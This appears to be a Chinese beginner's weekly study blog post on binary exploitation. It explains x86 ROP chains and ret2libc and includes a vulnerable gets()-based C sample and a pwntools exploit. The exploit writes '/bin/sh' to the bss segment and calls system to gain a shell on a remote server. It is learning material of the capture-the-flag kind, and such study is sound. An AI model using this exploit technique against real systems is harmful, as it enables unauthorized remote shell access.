23-10-30

本周学习总结

看视频看视频看视频看视频看视频看视频看视频看视频看视频看视频看视频看视频

ROPROPROPROPROPROPROPROPROPROPROPROPROPROPROPROPROPROPROP

retlibc2retlibc2retlibc2retlibc2retlibc2retlibc2retlibc2retlibc2retlibc2retlibc2retlibc2

全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。

第二周(视频3-4集)

一、温馨预告

接下来你将会看到的是:

1.ROP月下无限连?

2.system参数乱写怎么办?我自己的system,我自己说了算!

3.你的函数就是我的函数,我的函数还是我的函数。

二、Pwn手法

1.ROP链(x86)

众所周知,eip作为一个非常重要的寄存器,可以保存下一条指令的位置,可以通过pop eip来控制eip中的 值,但是一般只有函数结束时我们才会有pop eip的机会,但是这单单一次机会有时候无法满足我们的要求,因为他只能做到一次跳转,剩下的程序执行就不是我们所能控制的了。这个时候,ROP横空出世,带给您程序开发者一般的体验(简称程序到了我的电脑上,怎么执行就由不得你了)。

| 其实程序中不存在pop eip这种操作,理论上来说我们不能主动去修改eip的值,但是程序中存在着一条叫ret的指令,这条指令的意义相当于我们所理解的pop eip。 |

ROP的厉害在于即使你开启了NX保护,我也依然可以“在栈上执行指令”。因为ROP本来就是用的你程序的内容,我只是写了个小指针,将程序中许多条分散的指令连接起来而已。达到一种无视NX保护在栈上执行指令的效果。

ROP是如何实现的呢?简单画个小图:

在x86中,程序是利用栈传参的,当遇到函数调用时,函数会从自己的基地址开始向上偏移两个单位寻找自己的参数,这里以函数只有一个参数的简单情况说明。
在这里你可能还会有些其他疑惑,我知道你在疑惑什么。你只需要记住,在执行函数1时,存放函数1地址的地方会变成ebp所指向的地址,ROP(pop eax;ret;)会被eip所指向。
注:无论函数1还是函数2都必须是程序本来就有的函数。

左边是原来的栈帧,右边是经过ROP改造后的栈帧。

当函数1被执行完成后,程序会执行pop eax;ret;(这一个位置就完成了两次操作),意思是将函数01的第一个参数弹出给eax寄存器,然后执行函数02。

如此反复写下去,只要栈足够宽而且缓冲区溢出的大,你就可以无限控制程序的执行流,执行你想执行的指令。称之为ROP月下无限连。(众所周知system函数也是一堆汇编代码,是不是意味着。。。)

如何获得你想要的ROP呢?只需要ROPgadget这个小工具就行(linux自装)
语法为:ROPgadget –binary ./程序名 –only “pop|ret”

2.retlibc

你是否还在为system函数参数乱写甚至没有system函数而烦恼,是时候来学学这份retlibc了。

retlibc分为3种难度:

1)有system有”/bin/sh”但”/bin/sh”没写在system中

2)有system但没有”/bin/sh”,system中乱写

3)没有system也没有”/bin/sh”(难难难难难难难难)

这里演示一下二级难度,请先学会前置技能ROP链。

已知重要保护:程序已开启NX,未开启Stack。

示例代码:

1
2
3
4
5
6
7
8
#include <stdio.h>

int main() {
char s[100];
system("puts("hello world\n")");
gets(s);
return 0;
}

先上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

context(arch='i386', os='linux', log_level='debug')

p = remote('远程服务器IP', 远程服务器端口)
elf = ELF('./本地程序名')

sys_addr = elf.plt['system']
# elf.plt pwn库工具,用于获取指定函数的实现地址

gets_addr = elf.plt['gets']

bss_addr = 0x????????
# bss段,自己在gdb里用vmmap找一段合适的地址

pop_eax_ret = 0x????????
# 使用ROPgadget寻找

payload = b'A' * 溢出量 + p32(gets_addr) + p32(pop_eax_ret) + p32(bss_addr)
payload += p32(sys_addr) + p32(pop_eax_ret) + p32(bss_addr)

p.sendline(payload)
p.sendline(b"/bin/sh")
# 二次输入,why?你猜猜看。

p.interactive()
# 在使用一些工具时可能会出现意料之外的问题,这里只是演示了大概的操作
# 对于第6行和第7行的工具使用,貌似还需要一些数值类型转换

在这里使用的elf.plt[‘函数名’],实际上是对应了程序中的一个叫.plt的段,我们常常将他和.got段一起讨论。现在你只需要知道地址.plt段中有system函数所实现代码段的地址就可以了。通过执行.plt段的地址,我们相当于在程序的执行流中加入了一次system函数的执行,这次system函数的参数由我们自己决定,而不是开发者所决定的。

那么函数已经有了,怎么把参数传入呢?我们可以写上”/bin/sh” 的地址,但是由于程序中没有”/bin/sh”,那么这个时候我们就可以自己写个”/bin/sh”字符串进去。

通过同样的手法,既然能调用system函数,我们也可以调用gets函数,但是我们写哪呢?如果直接写栈上我们又不知道栈的位置在哪。这个时候bss段的作用就来了。bss段是存储程序全局变量的地址,程序开始执行时就会被创建且如果未开相应保护时地址固定。还有可读可写的特性。

这样我们的参数地址也有了。

通过ROP链的理论,我们可以先调用gets函数向bss段写入字符串”/bin/sh”,在通过system执行bss段中的”/bin/sh”从而的到服务器的控制权。

注:使用elf.plt调用的函数应该是程序中使用过的函数。

三、没有三了

攒点小题,下周准备上点实战题目。

下周学习计划

应该要做的事情

看入门视频。。。

刷题。。。

学习感受

至强解Pwn,手法至上,什么法?手法!


23-10-30
https://zlsf-zl.github.io/2023/10/30/10-30-11-5/
作者
ZLSF
发布于
2023年10月30日
许可协议